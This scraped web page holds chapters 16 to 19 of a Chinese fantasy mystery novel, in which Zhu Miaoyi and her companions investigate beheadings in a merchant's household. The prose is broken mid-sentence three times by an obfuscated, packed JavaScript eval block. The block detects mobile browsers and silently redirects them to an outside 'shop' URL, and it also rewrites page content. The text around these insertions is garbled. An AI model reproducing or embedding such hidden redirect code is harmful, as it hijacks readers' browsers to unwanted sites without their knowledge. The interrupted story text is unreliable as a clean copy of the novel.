;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241765|197765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的那般,那尸体从脖子处被不知什么凶器齐根砍断,只有一具身体还留在堂屋内。 颜琅担心朱妙仪害怕,一直留心观察着朱妙仪。但朱妙仪不知是不是提前做好心理建设的原因,竟然并没有感觉出什么异样的情绪来。 唐亦景蹲下查看了地上的血迹,之后又在屋内转了一圈。 “赵都头,您觉得这卧房真的是钱大公子遇害的地方吗?” 赵刚仿佛早有预料唐亦景会这样问,“我知道唐公子想要问什么,我也发觉这卧房中虽然有血迹,但比起将脑袋砍下这种创伤来说,这点血量根本不够。” 唐亦景点头,“就算对方是将钱大公子先杀害之后再砍下头颅,此处的血量也一定会比这个多。” “怎么说也要像钱员外书房那样。”赵刚抬手示意弓手走进来将钱显孝尸体抬走,“看来钱显孝应当是被人杀死后搬到这里来的,而且是在砍下他的脑袋后才搬过来的。” 话虽如此,钱显孝卧房中还是弥漫着浓烈的血腥味,因此等到钱显孝尸体被弓手抬走后,赵刚便带着一行人走到了院子内。 朱妙仪看到院子回廊下站着几个瑟瑟发抖的婢女,同时还有几位弓手站在一旁跟她们说话,看起来像是在询问事情。 赵刚注意到朱妙仪的眼神,主动解释道:“那几位都是伺候钱显孝的婢女,我让弓手们问问她们知不知道钱显孝昨晚去过哪里,见过什么人。” 朱妙仪点了点头。 正巧这时,那边的弓手举手示意赵刚,赵刚也就先走了过去。 见赵刚离开,晴朝轻轻说道:“唐亦景,你这次若是再没发觉妖气,我真的感觉你该让仙界好好检查检查你的拂尘是不是出毛病了。” 朱妙仪诧异地看向晴朝。 晴朝瞥了唐亦景一眼。 唐亦景抬眸回看晴朝一眼,接着便将手中的拂尘特意从空中挥了一下。 “你放心吧,我的拂尘好好的,没有出毛病。” 朱妙仪睁大眼睛,“那也就是说……” “钱显孝的尸体上有大量的妖气。除非钱显孝本来就是妖族,否则他必然在死前见过妖。” 终于听到唐亦景承认自己的判断正确,晴朝露出了一脸得意洋洋的笑容。 颜琅挠了挠头发,“那这也就意味着我们现在基本可以断定钱显孝是被妖族所杀的了?” 晴朝点了点头。 “我早就说过了,除了妖族天生蛮力外,有一个人能够凭一己之力将旁人脑袋直接砍下来的?” “可是妙仪昨日不是说过钱员外的尸体乃是假的吗?”颜琅疑惑地问道:“这样一来,难道说他们在钱员外书房中发现的那具无头尸体也是被妖族所杀的?” “不,那具尸体身上并无妖气,不会是被妖族所杀。”唐亦景看向朱妙仪,“妙仪,你还是将钱员外尸体的事情先告知赵都头吧,若是官府能够封锁钱家进行寻找,应该能够更加快速地找到钱员外。” 朱妙仪点头,主动走过去将自己的发现告知了赵刚。 赵刚本来只是将朱妙仪当作了朱家一案的受害人家属,将希望都寄托在了唐亦景与颜琅二人身上。没想到朱妙仪竟然发现了这么重要的事情,当即叫着部分弓手返回了县衙。 临走前,他还带走了在东院伺候多年的部分下人。 16. 第 16 章 刚用过午食不久,朱妙仪忽然听到玉笛轩院中有人唤自己的名字。 走出门发现是凝露,对方看样子很是慌张,胳膊一直在轻微颤抖。 见到朱妙仪走出来,凝露赶紧走上来拉住了朱妙仪的胳膊。 “朱二娘子,不好了。衙门的赵都头突然带人围住了钱府,还说要将夫人带回县衙之中,您快去看看吧。” 赵刚带人围住钱府在朱妙仪的意料之中,但赵刚要将朱云窈带走却让朱妙仪有些意外。 晴朝、唐亦景和颜琅此时也走了出来,一行人立刻决定前往朱云窈的院中探明情况。 院中果然多了很多弓手,还能看到一些下人被弓手带着不知去了何处。凝露颇有些担惊受怕地看着这一切,朱妙仪快步走上前,伸出手环抱住了凝露的胳膊。 “朱二娘子……” “向前走吧,”朱妙仪微笑着看向凝露,“不要害怕。” 刚走进朱云窈院中,一行人便看到一众弓手站在院中围成个半圆,虽然没有看到赵刚人在哪里,但却能够听见他的声音不时从半圆中心传出。 “快把他们拉开!把他们拉开!” 凝露忽然挣脱开朱妙仪的手冲了出去,上前拨开人群挤了进去。朱妙仪等人赶紧跟上去,待挤进去才发现,是一个身着孝服的男孩正边哭边抱着朱云窈不肯放手。 那男孩模样瞧着已到总角之年,但举止无状、口中说话也有些含糊不清,此时只是抓着朱云窈的衣角不断哭喊,依稀能够辨别出他是在大喊:“娘!娘!我要娘!” 朱云窈微微弓着背,背对男孩站着。虽说用一双手捂住了口中的嚎啕,但眼泪还是如断了线的珠子向下滚着。 凝露急忙冲上去抱住了男孩。 “义哥儿,姐姐在这呢,不要哭,姐姐在这。” 朱妙仪心中一惊,与晴朝不约而同对视一眼。 原来这就是朱云窈的亲生儿子钱显义。 “赵都头。”朱妙仪走到赵刚面前,“这究竟是怎么了?” 赵刚见是朱妙仪一行人过来了,瞬间松了一口气,赶紧指着哭闹不止的钱显义说道:“朱二娘子,正好您来了,烦请您帮忙照看照看二公子吧,我必须得带钱夫人回衙门。” “我姑母?”朱妙仪追问道:“赵都头若要问话在家中问不就好了,有什么必要带我姑母去衙门呢?” “朱二娘子说错了,我不是要带钱夫人回衙门问话,而是带钱夫人回去接受调查的。”赵刚瞥了一眼朱云窈,“我现在怀疑是钱夫人与钱员外的小厮金生串通将钱员外与钱大公子先后杀害的。” “什么?”晴朝皱眉,“你说是钱夫人杀的他们两个?赵都头,我看你是忙昏头了吧?” 赵刚摇了摇头,“今日我又带了钱府的部分下人前往衙门认尸,他们之中没有一个人认出了钱员外的尸体,这也就证明衙门内那具尸体确实并非钱员外的。初次认尸乃是钱夫人与金生二人一口咬定那一定是钱员外的尸体,他们若非是有什么不可告人的目的,为什么要弄一具假尸体糊弄衙门?” 朱妙仪急忙说道:“赵都头,现在钱员外究竟是生是死尚无定论,您怎么就能直接认定是我姑母杀了他呢?再怎么说,也要带那个叫金生的小厮当面对质过才是。” “我倒是想带他来对质!”赵刚的脸色很是阴郁,“晌午时我便派人出去寻过,但直到现在都没有找到金生!若我现在不赶紧将钱夫人捉回衙门,只怕连这个嫌疑人也要脱逃了!” “赵都头,恕我冒昧,我想问您钱员外的小厮金生可生的很是魁梧?” 赵刚有些疑惑地看向唐亦景,接着摇了摇头。 “金生那小子长得和个瘦猴似的,加上骨头架子都没有四两沉。” “赵都头,您不要忘了,书房中那具尸体与钱显孝的尸体一样皆被人砍下了头颅。既然您也说金生身形并不魁梧,那我觉得此事便并非是一个瘦弱的小厮与一个手无缚鸡之力的妇道人家联合起来便能够做到的。” “手无缚鸡之力?钱夫人可不能算是吧。”赵刚忽然看向朱妙仪,“朱二娘子,敢问朱家从前是做什么营生的?” “这……”朱妙仪顿了顿,“这与这桩案子有什么干系?” “朱二娘子您放心,即便您不说我也能够查出来。”赵刚指了指朱云窈,“我就说朱二娘子怎么与一般女子不同,打探过后才知道无妖县朱家乃是赫赫有名的捉妖世家,试问在这样家庭长大的女儿难道还能说是手无缚鸡之力吗?” “赵都头,朱家是不允许女子修行捉妖术的!”朱妙仪匆忙开口,“我姑母是不可能杀人的啊……” “别说了!” 一道冷厉的女声突然制止住了朱妙仪的话。 朱妙仪转身看去,只见朱云窈已经抱起了钱显义,此时正目光炯炯有神地看向这边。 “不要再说了,朱二娘子。”朱云窈脸上的泪痕尚未擦干,但已经恢复了平日里冷漠的神情。 “赵都头,我之前便已经与你说明,自嫁进钱家起我便已经与朱家一刀两断、再无瓜葛了。因此,朱家的事、朱家的人,都与我无关。” 朱妙仪喃喃自语道:“姑母……” 朱云窈将怀中吃着手指的钱显义交给凝露,“将公子带下去。” 凝露眉头微蹙,看着朱云窈轻轻摇头,“姑娘……” “将小公子带下去!” 见朱云窈目光坚定,凝露最终点了点头,抱着钱显义走回了屋内。 “朱二娘子,我猜你在家中时应该也学过掌家之事。所以在我离开钱府的这段时间里,我希望你能帮我暂时照顾钱家。” 朱妙仪在家时确实跟着祖父请来的女先生学过掌家之事,由于朱家男子大多数时间都要修习法术或者在外奔波,因此内宅之事一贯是由家中女眷掌管的。 看着朱云窈的眼神,朱妙仪虽然不知道她心中究竟是怎么想的,但却能够感觉到对方已经打定了主意。 “我答应您,钱夫人。”朱妙仪开口说道:“不过,我并不能在此停留太久,所以还请钱夫人早日归来。” 朱云窈点了点头,接着主动向院外走去。 赵刚使了个眼色,立刻有弓手跟了上去。 离开钱家前,赵刚特意嘱咐弓手们要将钱家各门守住,待明日便开始在府中搜寻钱员外的尸体。 待赵刚带着朱云窈离开钱家后,朱妙仪一行人留在了朱云窈院中陪着凝露和钱显义。 钱显义在床榻上半刻都坐不住,凝露本想让他睡一会,谁知他一会站起来蹦蹦跳跳,一会又要娘亲过来看他。 凝露不敢告诉钱显义真相,只能硬着头皮一遍遍地哄骗着钱显义。 许是觉察到朱妙仪一行人的视线,凝露不好意思地转过身笑一笑。 “义哥儿年纪小,平日里骄纵了些,还请各位见谅。” “没事,我族中也有很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我家姑娘当年与钱员外是在街头偶然相识的,那时候钱员外刚刚没了元配妻子,孤身一人到无妖县进货。”凝露垂下头,“姑娘向朱家人提出自己要成亲时,朱老爷很不赞同这门亲事,更不想要姑娘屈尊给一个大她十几岁的商人做续弦。但是当时姑娘心意已决,甚至为了嫁给钱员外主动提出愿意与朱家一刀两断。” “与朱家断亲的事情竟然是我姑母自己主动提出来的?”朱妙仪震惊地睁大了眼睛, 这么多年来,她一直以为是祖父将姑母赶出了家门,却没想到竟然是姑母为了得偿所愿主动与家人断绝了关系。 “不仅如此,后来姑娘还没有从朱家拿一文钱嫁妆,所幸钱员外并不介意此事,他只是要求姑娘一定要替他管理好钱家内宅。” 晴朝缓缓吐了一口气靠到椅背上,“这么说来,这个钱员外确实不像是另娶了一房妻子,而像是又雇了一位管家。” “凝露姑娘,那这些年来你可曾听到钱夫人对于钱员外产生过抱怨吗?” 凝露看向唐亦景,“从来没有过,这些年来我家姑娘一直都尽心尽职地替员外守着钱家,每月还会定期将府中各项开支汇总成账簿后交给钱员外过目。” 说着说着话,凝露的情绪又逐渐激动起来。 “我家姑娘为了员外不惜与朱家决裂,必然是不可能对钱家人下毒手的。”凝露忽然站起身,对着朱妙仪跪了下来,“朱二娘子,只要您能救我家姑娘性命,我便是将命抵给您都心甘情愿啊!” “我要你的性命做什么?”朱妙仪笑了笑,起身将凝露搀扶起身,“你放心吧,我相信姑母没有杀人,我一定会还她一个清白的。” 17. 第 17 章 夜幕降临,朱妙仪一行人也打算回玉笛轩去,凝露见钱显义睡得安稳,便主动提送一送他们一行人。 走到院中时,朱妙仪看着走在自己前面给自己打着灯笼的凝露,忽然想起了一件事情。 “凝露,你也不要太担心你丈夫了。”朱妙仪伸手握住凝露的胳膊,“我想你丈夫陪伴钱员外多年,必然不可能做出背弃主家的事情。” 凝露眼睛一直瞧着脚下,头都没有抬地说道:“娘子放心吧,我并不在乎他到底去了哪里。” 朱妙仪微愕。 “朱二娘子,实话同您说,我与金生之间并无感情,多年来的婚姻也不过是一纸空文罢了。我之所以同意员外将我许配给金生,是为着能够留在府中继续帮着夫人照顾义哥儿。” 朱妙仪点了点头。确实对于陪嫁婢女来说,想要永远陪在自己姑娘身边只有两条路,一是入府为妾,二是嫁给府中的小厮。 “我姑母没有亲姐妹,这辈子能够碰到你这么一个愿意替她着想的妹妹,也是很足够了。”说完,朱妙仪接过了凝露手中的灯笼,“回去吧,义哥儿那还要你守着呢。” 回到玉笛轩后,他们四人都去了唐亦景与颜琅的房间。 “你们说钱员外会不会真的还没有死啊?”颜琅昂着脑袋思考着,“毕竟按照凝露的说法,钱夫人应当是对钱员外情根深种死心塌地才是。可是这几日咱们看到的钱夫人每次提及钱员外离世皆没有悲伤之色,怎么瞧都不像是刚刚失去此生挚爱的样子。” 晴朝点了点头,“我也有这个感觉。钱夫人这几日一直在操持钱家事务,钱家上下皆井然有序,没有出现过一丝混乱。倘若钱员外是真的死了,钱夫人又怎么可能会如此冷静,还能够做到处变不惊地管理钱府呢?” “可是你们有没有想过,就算钱员外现在不在府中,他也应当会藏在一个能够随时了解钱家的动向的地方,毕竟只有这样才能尽快了解到官府的下一步行动,进而再做出对自己有利的判断。”朱妙仪眉头紧锁,“可是现在钱家出了这么大的事情,他唯一健康的儿子都死了,他却能够一直忍到现在都没有出现。” 此话一出,在场四人皆陷入了沉默。 “事到如今,想要找到钱员外看来只能凭借赵都头的能耐了。”唐亦景站起身,“但是若想要找出杀害钱显孝的真凶,还是要依靠我们几位联手。” 晴朝也站起身来,“明日我便在钱府中好好转一转,那妖怪即便是再神通广大,总也会在他停留过的地方留下气味的。” 朱妙仪与颜琅对视一眼,站起身说道:“那我与表哥便跟着赵都头一同在钱家搜查,尽量早一点找出钱员外藏身之处的线索。” 四人就此说定后,朱妙仪与晴朝便回到了自己的房间。 朱妙仪是习惯早睡的,但今晚却意外地翻来覆去都睡不着觉,三更后更是干脆点了根蜡烛放在床头,就着烛火看起昨日找到的小说来。 还不到四更,朱妙仪忽然听着外面传来一阵骚动。 披上衣服起床,朱妙仪端着烛台走出了屋门,正好在院内碰上了正在穿外袍的颜琅。 “表哥?” 颜琅走过来又给朱妙仪紧了紧领口,“你怎么也出来了?” “我还没睡着,正看着书的时候忽然听着外头好像有什么动静。” 颜琅点了点头,“我也听见了。” 颜琅将朱妙仪手中的烛台接过去,二人一前一后走出了玉笛轩。 远远地好像能够瞧到西边有些光亮,朱妙仪与颜琅便循着光亮的方向一路走去。谁知走到半路时,忽然看见大队大队的弓手列队向前匆匆跑去。 “弓手大哥,发生什么事情了?” 被颜琅唤住的弓手回头看了二人一眼,辨认出他们二人是赵刚的朋友。 “巡夜的弓手在西院后花园中发现了两具尸体,其中一具无头尸腐败明显,初步怀疑是钱员外的尸体。” 朱妙仪走上前,“怎么会是两具尸体?那另一具尸体是谁,你们辨认出来了吗?” “另一具尸体被发现时尚有余温,应当是刚被人杀害不久。我们已经叫了钱家的好几位下人前来辨认,最终确定这人就是今日刚被发现失踪的小厮金生。” “金生?金生也死了?”朱妙仪只觉得自己的脑中突然一片空白。“怎么会这样呢?” 弓手并没有再回答朱妙仪的询问,而是快步跟上队列离开了。 颜琅与朱妙仪一路走到了西院后花园。 赵刚此次来得有些缓慢,朱妙仪见他外袍扣子都系错了位置,轻声咳嗽两声后又指了指自己的领口,赵刚这才反应过来。 “让朱二娘子见笑了,我家离钱宅有些距离,此番着实是有些突然。” 朱妙仪微笑着摇了摇头。 颜琅此时已经查看过了地上的两具尸体,此时见赵刚到来,立刻走过来说道:“赵都头,我觉得弓手们的初步猜测应当是正确的,那一具无头尸体确实有很大可能是失踪多日的钱员外。” 赵刚在来的路上已经听过下属的汇报,现在听到颜琅这样讲,赶紧走过去查看尸体的情况。 弓手们已经将两具尸体一左一右摆放整齐,赵刚走过去掀开了第一具尸体的身上的白布,果然看到了小厮金生的脸。他的后脑处有被重物砸过的伤痕,看起来这就是他所受的致命伤。 而另一具尸体即便在盖着白布的情况下都能闻到阵阵恶臭,赵刚掀开白布发现那具尸体确实是一具无头尸体,虽然□□腐败程度十分严重,但仍然能够从身上的衣着布料看出生前身份必定是非富即贵。 “赵都头,我们到这里的时候那个小厮的尸体尚有余温,并且是以一个向前扑倒的姿势卧在那个深坑之中。”颜琅指了指一旁的深坑,“这个深坑我也检查过,内里的土层还很湿润,旁边又摆着一把锄头,看起来像是刚被人挖掘出来的坑洞。” 赵刚将白布重新覆盖在尸体上,“这具无头尸体照身量来看确实有些像钱员外,而且如果钱员外真的是在钱家报官的日子附近遇害的话,腐败程度也会与这具尸体类似。” 朱妙仪走到二人身边,“赵都头,若地上这具尸体真的是钱员外,便说明小厮金生与钱员外之死脱不了干系,至少也应当是知情人。今晚金生被人杀死在钱家西院,可我姑母自始至终都被囚禁在牢狱之中,便这至少证明与金生图谋者必然还有他人。” 赵刚沉吟片刻,“朱二娘子,我现在就会将尸体带回弓手中交给仵作检查,若是最终真的能够断定这具尸体乃是钱员外的话,便能够证明钱夫人并非是唯一的疑犯。按照我朝律法规定,我会尽快将钱夫人送回府中,但是钱夫人仍然不能擅自离开钱府。” 至少这样能够先将朱云窈从县衙中救出来,朱妙仪感激地对着赵刚点了点头,“多谢赵都头。” 事实证明,赵刚的办事效率确实很高。因为在当日天色大亮之时,他便已经将朱云窈亲自送回了钱府。 在东院堂屋内,朱妙仪等人终于听到了钱员外尸体被调换的真相。 约莫半月前,钱员外曾经黑衣夜行悄悄返回过钱府,他告诉朱云窈出了大事,一批经他手卖给官府的货物出了岔子。 钱员外听说京中的贵人们动怒,害怕会因此怪罪于他,便想到了假死脱逃的法子。在钱员外的计划中,他让金生从邻县的流民中选择了一位身形与他相似的替死鬼,将对方的头颅割去后放置在西院书房中制造他已死的假象,而钱员外本人便暂时居住于钱宅家祠之中。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241767|197765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>之后,钱员外会暂时离开安南县一段时间,他知道这世上有能够改变容貌的法子,便想着再过几年后以钱府管家的身份重新回到钱家。 一开始,朱云窈与金生严格执行了钱员外的计划,也确实通过伪造尸体的方式蒙骗过了官府。但就在他们以为整个计划中最困难的阶段已经平安度过时,突然发生了一件令他们两人都始料未及的事情。 就在钱家报官的第二日,金生按照计划于午后偷偷进入家祠中给钱员外送饭。然而进入家祠后金生惊讶地发现,钱员外不知何时已经变成了一具失去头颅的尸体。 “当时金生很是紧张,立刻跑来询问我下一步该怎么做。我本想着既然计划已经开始了,不如便照着原先的计划先推动下去,待日后这桩案子成为了无头公案,再将员外的尸体悄悄埋到西院之中。” 朱云窈垂着眼眸,神情晦暗不明。 “我本以为这件事情到这便已经结束了,却怎么也没想到钱大公子竟然也会被人以同样的方式杀害了。” 就在钱显孝返回钱家当晚,金生再一次于三更半夜时出现在了东院朱云窈院中。 “金生漏夜前来,告诉我他刚刚前去祠堂查看钱员外尸体时,突然发现钱大公子也被割去头颅,死在钱家祠堂之中了。我没办法,只能带着凝露立刻跟他前去祠堂查看情况。” 站在一旁的凝露点了点头,将目光落在了朱妙仪与晴朝两人身上。 “也是在那时候奴婢偶然发现朱二娘子与晴朝姑娘也要前往祠堂,奴婢担心夫人的行迹会被她们所发现,便只能现身制止她们二人。” “怪不得你当时与我们在院中偶遇,手上却并没有提灯笼。”朱妙仪回想起那晚见到凝露时的景象,“想来那时候灯笼是被我姑母带到祠堂中去了吧?” 凝露轻轻点头。 朱云窈伸出手拉住凝露的胳膊,“后来我为了避免官府进入祠堂搜查发现员外真正的尸体,便让金生将钱大公子的尸体转移到了钱大公子卧房之中,将那里伪造成了案发的现场。” 唐亦景看向赵刚,“如此说来,钱大公子卧房之中血迹的事情也就能够说通了。” 赵刚怎么也没想到想出调换尸体的居然是钱员外本人,更没想到钱员外会在执行自己计划的过程中悄无声息地死去。 “钱夫人,钱员外横死在府中已是出了大事,你怎么能够隐瞒不报?你有没有想过,若是你能够提前将真相说出来,说不定钱大公子也就不会死了。” 朱云窈低下头,缓缓叹出一口气。 “赵都头,若是钱显孝知道是我的疏忽害死了员外,他必然早就已经将我和义哥儿赶出府去了。”朱云窈轻轻摇头,“我自然是想找到杀害员外的凶手,可我也想护住我儿的一世周全。义哥儿本就是因为我在有孕时操劳过度才会染上弱症,我怎么可能不为他图谋着想呢?” 一想到钱显义拉着朱云窈衣角不肯松手的样子,赵刚又将自己的满腹牢骚咽回了肚中。 见气氛有些僵硬,朱妙仪赶紧开口说道:“赵都头,至少我们现在知道了调换尸体的真相,也找到了接下来探查案件的重点,也就是钱家祠堂。” 晴朝接着说道:“如此说来,钱员外与钱显孝二人实则都是死于祠堂之中,那祠堂之内必然能够寻找到什么线索。” “除此之外,钱员外本以为他只将自己假死的计划告诉了两个人,但现在金生被他人所杀,这恰恰证明了除钱夫人与金生外,还有第三个知晓钱员外计划的人。”唐亦景看向赵刚,“如果咱们能够找出这第三个知道计划的人,说不定也就找到了杀害金生的凶手。” 赵刚站起身来,“诸位,我这就返回县衙布置人手,让弓手们兵分两路,争取尽快将这桩案子结案。” 18. 第 18 章 当日午后赵刚便亲自带人开始对钱家祠堂进行调查,由于钱家祠堂确实于月前遭了雷击,为了保险起见,赵刚便没有允许朱妙仪一行人一同进入祠堂之中。 晴朝与唐亦景开始在府中寻找妖族可能留下的蛛丝马迹,朱妙仪将颜琅派去祠堂外打听情况,自己则去了朱云窈的院子。 刚走进院中,朱妙仪便看见凝露正陪着钱显义在院中玩耍,钱显义一直在院中闲不住地跑来跑去,凝露便站在一旁看着他。 见朱妙仪走进来,凝露赶紧走上前叉手行礼。 “朱二娘子,您来得不巧,我家夫人正在休息呢。” 朱妙仪微笑,“没关系,我并非是来找我姑母的,只是闲着无事想来看看义哥儿。” 凝露感激地笑一笑,“多谢朱二娘子。” 朱妙仪走上前与钱显义说了几句话,钱显义完全是小孩子心性,只要见到愿意跟他玩的人便高兴的不得了,没一会便与朱妙仪混熟了。 “我家义哥儿看起来很喜欢朱二娘子呢。”凝露高兴地说道:“此次多亏了朱二娘子出手相助,才能够这么快便将我家夫人从衙门中救出来,义哥儿心中必然也是感激朱二娘子的。” 朱妙仪摇了摇头,“按照辈分论起来,义哥儿是我的表弟。本来便都是一家人,怎么能说这种两家的话呢?” 凝露笑着看向钱显义,半晌忽然开口说道:“朱二娘子,金生被杀那晚曾经回过家。” 朱妙仪看向凝露。 “那晚金生回来得很晚,我本想当面质问他去了哪里,出来的时候却见他正在收拾家中细软。我出声阻拦他,他却说自己要跟朋友一同出去躲一阵子,待案件水落石出后再回安南县。” 朱妙仪急忙问道:“那你知不知道金生口中所说的这个朋友是谁?” 凝露摇了摇头,“但我追出去的时候确实看见个人影,我觉得应当是个男人,而且不知为何我总觉得那个人影有些眼熟。” “你与金生认识的人大多相同,他所说的朋友被你见过的可能性很大。”朱妙仪沉思片刻,“凝露,你这几日便在我姑母这里好好待着,哪里也不要乱跑,知道吗?” 凝露点头,“朱二娘子放心吧,我明白。” 待朱妙仪回到玉笛轩时已是用晚食的时间,弓手们因为天色渐暗也停止了在祠堂内的调查,颜琅也正好在这时走了回来。 “表哥,祠堂那边发现什么线索了吗?” “除了在祠堂内发现了大量血迹外,其余一切正常,赵都头说甚至连一个可疑的脚印都没有发现。”颜琅摇了摇头,“并且直到现在都没有在祠堂中发现钱员外与钱显孝的头颅。” 朱妙仪本就倾向于这桩案子乃是妖族所为,现在听到颜琅的话,更是坚定了内心的想法。 等到唐亦景与晴朝回来后,四人又聚集到了唐亦景与颜琅房中议事。 “我还是觉得钱家的命案应当与妖族有关。”朱妙仪最先开口说道:“虽说现在我还不敢确定金生是否被妖族所杀,但至少死在祠堂之中的那两人应当都是被妖兽所杀。” 朱妙仪的怀疑并非毫无道理,虽然现在证明确实存在知道钱员外金蝉脱壳计划的第三人,但是能够在如此短暂的时间里迅速杀死两个人,还能够将两人的头颅割下后带出祠堂,实在不是件容易的事情。 但若是对于拥有法术的妖族来说,这一切就变得轻而易举了。 “今天下午我与唐亦景在府中大致查探了一番,但并未找到有妖族藏匿的迹象。”晴朝与唐亦景对视一眼,“这也就证明那妖兽大概是已经逃出钱家了。” 听到这朱妙仪长长吐出一口气,这既是对这场无妄之灾大约结束了的庆幸,也是对于这妖已然逃出钱家的失望。 毕竟妖族与人族不同,只要离开钱家,再想找到这只妖兽便很是困难了。 “为今之计便是我们先协助赵都头找出杀害金生的凶手,说不定我们能够从中寻找到这妖兽的踪迹。”唐亦景看出朱妙仪的担忧,伸出手搭在了朱妙仪的肩膀上。 “妙仪你放心,若是这妖真的与朱家的案子有关系,即便是他逃到天涯海角,我也一定会帮你把他抓回来的。” 朱妙仪抬起头看向唐亦景,勉强露出一个笑容说道:“多谢亦景哥哥。” 第二日一大早,唐亦景与晴朝一同去了安南县县衙。虽说昨日颜琅与朱妙仪已经查看过尸体的情况,但还有一个十分重要的信息是他们二人探查不到,那便是妖气。 这次刚走进停尸房晴朝便捂住了鼻子,唐亦景掀开尸体上的白布,果然发现钱员外的尸体已经呈现出高度腐坏的情况。 晴朝嫌恶地撇了那具散发恶臭的尸体一眼,立刻决定自己先去检查金生的尸体。 半晌,晴朝重新走到唐亦景身边,只是特意站远了些。 “后脑一处应当是致命伤,确实有少许妖气,但不排除是他接触过钱显孝尸体的缘故。”晴朝捂着口鼻瓮声瓮气说道:“唐亦景,你这查得怎么样了?” “晴朝,你过来看看。” 晴朝没办法,只能硬着头皮凑到了钱员外尸体跟前。 “唐亦景,要是一会你没说出什么惊世骇俗的线索来,我真的要啄死你。” 唐亦景装作没有听见晴朝的警告,指着钱员外的尸体对晴朝说道:“你看他脖子上的断口,是不是觉得有些奇怪?” 晴朝瞪着眼睛瞧了瞧,忽然惊呼道:“他脖子上的断口是不规则的!” “我刚才还检查了那边钱显孝的尸体,发现他脖子上的断口也有同样的特点。”唐亦景点头,“断口不规则说明他的脑袋并非是被利器斩断的,而应当是被生生扯下来的。” 晴朝退后一步,看向唐亦景说道:“这下几乎便能够确定钱员外与钱显孝在祠堂中应当都是被妖兽所杀了。” 回到钱府后,唐亦景将这件事告诉了朱妙仪与颜琅。 “钱员外平日里不允许其他人擅自出入钱家祠堂,这便给了妖兽藏匿于内的机会。”唐亦景将茶盏放在桌上,“虽说我们还不知道钱显孝进入祠堂的原因是什么,但他的死极有可能也是因为偶然撞见了尚未离开的妖兽。” 朱妙仪点头,“如此说来,赵都头在祠堂内并未找到头颅也是理所应当的了,因为他们二人的头颅早已经被那妖兽吃下肚去了。” 说到这,晴朝长叹一声倒在了太师椅上。 “说来说去最后还是走回了原点,咱们现在对于这只妖兽仍旧是一点头绪都没有。” 唐亦景以手扶额,确实按照现在他们能够掌握的线索来说,他们已经几乎能够拼凑上这件案子的大部分拼图,但唯独最关键的一块拼图没有找到。 那就是这只妖兽的下落。 “等等,可如果钱员外与钱显孝真的都是被躲藏在祠堂内的妖兽所杀,那金生 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朱妙仪有些无奈,却还是开口解释道:“表哥,你是外男,还是我自己去吧。” 颜琅这才意识到自己确实不应当频繁前往朱云窈的院子,伸出手尴尬地挠了挠自己的头发。 晴朝在这时候站起了身,“颜公子,我知道你担心妙仪,但祠堂那边还需要你去盯着,所以妙仪这边就由我陪着吧。” 说完,晴朝还不忘对着唐亦景扬了扬下巴,“你也别闲着,出去找点事情做,听见了吗?” 唐亦景笑着抬眸看向晴朝,动作上却是配合着拱手行礼道:“遵命。” 今日到朱云窈院中时没有赶上她休息,凝露领着朱妙仪与晴朝走进门,朱云窈正伏案看着什么东西。 “夫人,朱二娘子和晴朝姑娘来了。” 朱云窈抬起头看向二人,接着面无表情对凝露说道:“你下去沏茶吧。” 待凝露退下后,朱云窈走起身走到了朱妙仪与晴朝面前。 “多谢你们救我。”朱云窈开门见山说道:“也多谢你们帮我照顾义哥儿。” 之前从未见过朱云窈对她们说话如此客气,朱妙仪与晴朝对视一眼,二人眸中都写满了惊讶。 “姑……钱夫人,您不用这么客气。” “朱二娘子,我曾经对你说过我与朱家已经恩断义绝,也就意味着我从那以后再也没有认过我的父亲和大哥。”朱云窈看向朱妙仪,她的面上仍然维持着毫无波澜的表情。 “但我愿意做你的姑母。” 朱妙仪愣了愣,她没想到自己所做的事情竟然能够获得朱云窈这么高的评价,但片刻之后又觉得有些好笑。 “姑母,您想错了,我帮您并不是因为咱们之间有血缘关系。”朱妙仪轻轻摇头,“我帮您是因为我知道您是无辜的。” 这次轮到朱云窈错愕地愣在了原地。 “你的意思是说假如我并非是你姑母,只是一个不相干的人,你也会帮我吗?” “当然了。”朱妙仪斩钉截铁地回答道:“我不愿看到无辜之人蒙冤,更不愿意看到真凶逍遥法外。” 片刻之后,朱云窈笑着低下头。 “真没想到啊,我们朱家居然还能出来你这么一位义愤填膺的好孩子。”说完,朱云窈指了指一旁的两把太师椅。 “二位,请坐吧。” 19. 第 19 章 坐下后,朱妙仪直截了当地开口问道:“姑母,您可知平日里家中有什么人与金生产生过矛盾吗?” 朱云窈食指点着额头,斟酌着说道:“据我所知应当是没有的,金生这人处事圆滑,为人做事滴水不漏,是员外最得意的左膀右臂。而且平日里大部分时间金生都是跟着我丈夫在外奔波的,与家里人其实没什么联系。” 这时,凝露端着茶盏走了回来。 朱云窈对凝露招了招手,“凝露,妙仪和她朋友是为着金生的事情过来的,你也来听一听吧。” 凝露将茶盏递给晴朝与朱妙仪,接着恭恭敬敬地站到了朱云窈身后。 